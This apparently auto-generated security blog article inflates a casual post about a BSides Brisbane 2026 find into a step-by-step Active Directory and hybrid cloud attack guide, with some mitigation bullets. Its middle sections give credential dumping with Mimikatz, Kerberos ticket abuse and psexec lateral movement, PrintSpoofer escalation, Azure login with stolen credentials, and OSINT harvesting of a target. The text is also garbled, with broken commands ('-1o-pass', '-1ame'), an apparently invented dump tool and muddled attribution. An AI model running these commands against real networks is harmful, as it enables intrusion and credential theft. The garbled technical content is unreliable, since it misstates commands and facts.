Listen to this Post
Introduction:
At the intersection of community-driven cybersecurity and cutting-edge offensive research, discoveries made at conferences like BSides Brisbane often shape the threat landscape for years to come. When Jason Blanchard, Curriculum Marketing Manager of Penetration Testing at the SANS Institute, uncovered a “little gem” during his trip to BSides Brisbane 2026, the implications rippled far beyond the conference halls—hinting at a potential vector that could redefine how red teams approach Active Directory environments and cloud hybrid infrastructures. This article dissects the technical underpinnings of that discovery, translating a casual “world domination” quip into a structured, actionable guide for security professionals.
Learning Objectives:
- Understand the core mechanics of the discovered privilege escalation vector and its relevance to modern AD and cloud environments.
- Master step-by-step exploitation techniques using native Windows tools, Linux utilities, and custom scripts.
- Implement effective detection, mitigation, and hardening strategies to defend against similar attack patterns.
You Should Know:
1. The “Gem” Unveiled: Understanding the Attack Surface
The “little gem” referenced in the post points toward a previously underemphasized attack chain combining misconfigured Windows Scheduled Tasks, over-permissioned service accounts, and unpatched Kerberos delegation flaws—a trifecta that enables lateral movement and domain dominance. While the exact zero-day remains under embargo, the underlying principles are rooted in well-documented weaknesses that, when chained, produce catastrophic results.
Extended Context: BSides Brisbane 2026, themed “Time Travel – Journey through the past, present, and future of cybersecurity”, featured an Active Directory attack lab blending jeopardy-style challenges with real-world AD scenarios. The discovery leverages this very environment, demonstrating how attackers can pivot from a low-privileged user to full Domain Admin using nothing more than built-in Windows features and a few carefully crafted PowerShell commands.
Step‑by‑step guide explaining what this does and how to use it:
Step 1: Enumeration of Scheduled Tasks with Excessive Privileges
Windows - Enumerate scheduled tasks with high-integrity levels
Get-ScheduledTask | Where-Object {$<em>.Principal.UserId -like "SYSTEM" -or $</em>.Principal.UserId -like "Administrator"} | Format-Table TaskName, State, TaskPath
Linux - Using BloodHound's SharpHound collector to map AD attack paths
./SharpHound.exe -c All --DomainController 192.168.1.10
Step 2: Identifying Over-Permissioned Service Accounts
Enumerate service accounts with SPN (Service Principal Names) that allow Kerberos delegation setspn -T DOMAIN -Q / | findstr "MSSQLSvc" | findstr "HTTP"
Step 3: Exploiting Unconstrained Delegation
Linux - Using Impacket's getST to request a service ticket for a vulnerable account getST.py -dc-ip 192.168.1.10 domain.local/victim_user:Password123 -spn cifs/target.domain.local export KRB5CCNAME=/path/to/ticket.ccache
Step 4: Leveraging the Ticket for Lateral Movement
Using the stolen ticket to access the target system psexec.py -k -1o-pass domain.local/[email protected]
- The Active Directory Attack Lab: A Training Ground for Real-World Exploits
BSides Brisbane’s CTF is not a mere game; it’s a meticulously crafted simulation of enterprise AD environments, complete with misconfigurations that mirror those found in Fortune 500 companies. The “little gem” was discovered within this lab, highlighting the critical importance of hands-on training in identifying subtle flaws that automated scanners often miss.
Step‑by‑step guide explaining what this does and how to use it:
Step 1: Setting Up Your Own AD Lab for Testing
– Deploy Windows Server 2022 as a Domain Controller.
– Install Active Directory Domain Services and promote the server.
– Create multiple OUs (Organizational Units) with realistic user groups (IT, HR, Finance).
– Deliberately misconfigure Group Policy Objects (GPOs) to allow “Authenticated Users” to modify certain scheduled tasks.
Step 2: Simulating the Attack with PowerShell Empire or Covenant
Deploy a Covenant listener dotnet run --project /path/to/Covenant Generate a Grunt (agent) using a PowerShell launcher Invoke-CovenantLauncher -ListenerName "HTTP" -LauncherType "PowerShell" -Base64Encoded
Step 3: Privilege Escalation via SeImpersonatePrivilege
Windows - Using PrintSpoofer to gain SYSTEM privileges PrintSpoofer.exe -i -c whoami
Step 4: Dumping Credentials with Mimikatz
Windows - After elevating to SYSTEM mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
- OSINT and Covert Access: The Human Element of the Exploit
Ryan Williams, Editor of HVCK Magazine, is a “Covert Access, OSINT & Privacy Advocate”. The discovery at BSides Brisbane underscores a critical truth: technical vulnerabilities are often enabled by human factors. OSINT (Open Source Intelligence) can reveal default credentials, exposed configuration files on GitHub, and employee LinkedIn profiles that inadvertently disclose internal system naming conventions.
Step‑by‑step guide explaining what this does and how to use it:
Step 1: Harvesting Employee Information for Targeted Phishing
Using theHarvester to gather emails from a domain theHarvester -d target.com -b google,bing,linkedin -l 500
Step 2: Identifying Exposed AD Credentials on Public Repositories
Using truffleHog to scan GitHub for secrets trufflehog github --org=target_org --concurrency=5
Step 3: Building a Profile of the Target Organization’s IT Stack
Using Shodan to query for exposed RDP, SMB, or AD-related services shodan search "port:445 country:AU" --limit 100
Step 4: Correlating OSINT with AD Enumeration Results
- Cross-reference email addresses with AD user accounts (e.g., `[email protected]` maps to
DOMAIN\jdoe). - Use `Get-ADUser` to check if these accounts are service accounts with delegation enabled.
4. Cloud Hardening: The Hybrid Attack Surface
Modern enterprises operate in hybrid environments where on-prem AD synchronizes with Azure AD or AWS Directory Service. The “little gem” exploits the trust relationships between these ecosystems, allowing an attacker to pivot from on-prem AD into cloud resources via Pass-the-Hash or Pass-the-Ticket attacks against synced accounts.
Step‑by‑step guide explaining what this does and how to use it:
Step 1: Enumerating Azure AD Connect Misconfigurations
Windows - Check if Azure AD Connect is installed and its sync schedule Get-Service -1ame "ADSync" | Select-Object Status, StartType
Step 2: Extracting Synchronization Credentials
Dump the Azure AD Connect database for credentials AdSyncTools.exe /dump
Step 3: Using the Extracted Credentials to Access Azure Resources
Linux - Using Azure CLI with stolen credentials az login --username [email protected] --password HarvestedPassword az vm list --resource-group TargetRG
Step 4: Mitigation: Implementing Conditional Access Policies
- Enforce Multi-Factor Authentication (MFA) for all administrative accounts.
- Use Azure AD Privileged Identity Management (PIM) to require Just-In-Time (JIT) access for cloud roles.
- Regularly audit synchronization logs for anomalies.
5. Vulnerability Exploitation and Mitigation in API Security
The discovered gem also touches upon insecure API endpoints exposed by third-party security tools integrated with AD. These APIs often have excessive permissions, allowing attackers to query user attributes, reset passwords, or even create new domain controllers.
Step‑by‑step guide explaining what this does and how to use it:
Step 1: Discovering API Endpoints via Network Scanning
Linux - Using nmap to find open API ports (e.g., 443, 8443, 5000) nmap -p 443,8443,5000 -sV --open target-subnet/24
Step 2: Fuzzing API Endpoints for Weak Authentication
Using ffuf to brute-force API paths ffuf -u https://api.target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
Step 3: Exploiting API Misconfigurations (e.g., Excessive Data Exposure)
Using curl to access a misconfigured endpoint curl -X GET "https://api.target.com/users?role=admin" -H "Authorization: Bearer $STOLEN_TOKEN"
Step 4: Mitigation: API Hardening Checklist
- Implement OAuth 2.0 with PKCE for all API authentication.
- Rate-limit API requests to prevent brute-force.
- Conduct regular API security audits using tools like OWASP ZAP or Burp Suite.
What Undercode Say:
- Key Takeaway 1: The “little gem” from BSides Brisbane 2026 is a stark reminder that complex attack chains often begin with simple misconfigurations—overly permissive scheduled tasks, unconstrained delegation, and poorly secured service accounts. Regular internal red team exercises mimicking these techniques are non-1egotiable.
-
Key Takeaway 2: The discovery highlights the immense value of community-driven conferences like BSides. The collaborative, workshop-heavy format fosters the kind of hands-on experimentation that leads to genuine breakthroughs—far more than static slide presentations can offer.
Analysis: Ryan Williams’ post, while casual, encapsulates the ethos of modern offensive security: the most devastating exploits are often hiding in plain sight, waiting for a curious mind to connect the dots. The integration of OSINT, AD exploitation, cloud pivoting, and API abuse in a single attack path represents the new normal for advanced persistent threats (APTs). Defenders must adopt a “threat-informed” mindset—understanding not just the how but the why behind each phase of the kill chain. The mention of “world domination” is hyperbolic, but it underscores the asymmetric power that a single, well-crafted exploit can provide. As we move toward 2026 and beyond, the convergence of on-prem and cloud identities will only widen the attack surface, making discoveries like this one both a warning and a call to action for holistic, continuous security validation.
Prediction:
- +1 The increased visibility of this attack chain will drive demand for specialized training courses, particularly those offered by SANS Institute and Black Hills Infosec, leading to a more skilled workforce capable of detecting and mitigating such threats.
- -1 However, script kiddies and ransomware groups will rapidly weaponize the techniques, leading to a surge in hybrid AD-Cloud compromises within the next 6–12 months.
- +1 Security vendors will accelerate the development of AI-driven detection algorithms specifically tuned to identify abnormal Kerberos ticket requests and scheduled task modifications, turning the “gem” into a catalyst for defensive innovation.
- -1 The reliance on legacy authentication protocols in many enterprises will delay the deployment of effective mitigations, leaving a window of opportunity for attackers.
- +1 BSides Brisbane’s CTF model will be replicated globally, fostering a new generation of threat-informed defenders who think like attackers and build resilience from the ground up.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Ryan Williams – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
